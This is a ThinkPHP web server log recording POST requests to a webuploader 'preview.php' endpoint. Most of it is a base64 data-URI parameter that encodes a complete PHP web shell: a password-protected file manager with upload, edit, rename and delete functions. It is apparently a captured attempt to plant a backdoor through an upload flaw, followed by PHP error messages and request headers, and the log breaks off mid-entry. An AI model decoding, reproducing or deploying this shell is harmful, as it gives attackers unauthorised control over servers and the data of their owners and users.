) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:43+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/webuploader/0.1.5/server/preview.php [运行时间:0.002683s] [吞吐率:372.73req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 